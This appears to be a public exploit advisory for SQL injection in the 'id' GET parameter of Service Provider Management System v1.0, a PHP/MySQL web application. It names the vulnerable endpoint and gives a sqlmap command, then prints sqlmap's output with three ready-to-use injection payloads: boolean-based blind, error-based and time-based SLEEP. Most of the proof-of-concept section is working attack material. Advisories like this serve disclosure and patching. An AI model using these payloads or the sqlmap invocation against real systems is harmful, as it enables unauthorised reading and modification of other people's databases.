Service Provider Management System v1.0 - SQL Injection

# Exploit Title: Service Provider Management System v1.0 - SQL Injection
# Date: 2023-05-23
# Exploit Author: Ashik Kunjumon
# Vendor Homepage: https://www.sourcecodester.com/users/lewa
# Software Link: https://www.sourcecodester.com/php/16501/service-provider-management-system-using-php-and-mysql-source-code-free-download.html
# Version: 1.0
# Tested on: Windows/Linux

1. Description:

Service Provider Management System v1.0 allows SQL Injection via ID
parameter in /php-spms/?page=services/view&id=2
Exploiting this issue could allow an attacker to compromise the
application, access or modify data,
or exploit the latest vulnerabilities in the underlying database.

Endpoint: /php-spms/?page=services/view&id=2

Vulnerable parameter: id (GET)

2. Proof of Concept:
----------------------

Step 1 - By visiting the url:
http://localhost/php-spms/?page=services/view&id=2 just add single quote to
verify the SQL Injection.
Step 2 - Run sqlmap -u " http://localhost/php-spms/?page=services/view&id=2"
-p id --dbms=mysql

SQLMap Response:
----------------------
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=services/view&id=1' AND 8462=8462 AND 'jgHw'='jgHw

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload: page=services/view&id=1' AND (SELECT 1839 FROM(SELECT
COUNT(*),CONCAT(0x7178717171,(SELECT
(ELT(1839=1839,1))),0x7176786271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Cqhk'='Cqhk

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=services/view&id=1' AND (SELECT 1072 FROM
(SELECT(SLEEP(5)))lurz) AND 'RQzT'='RQzT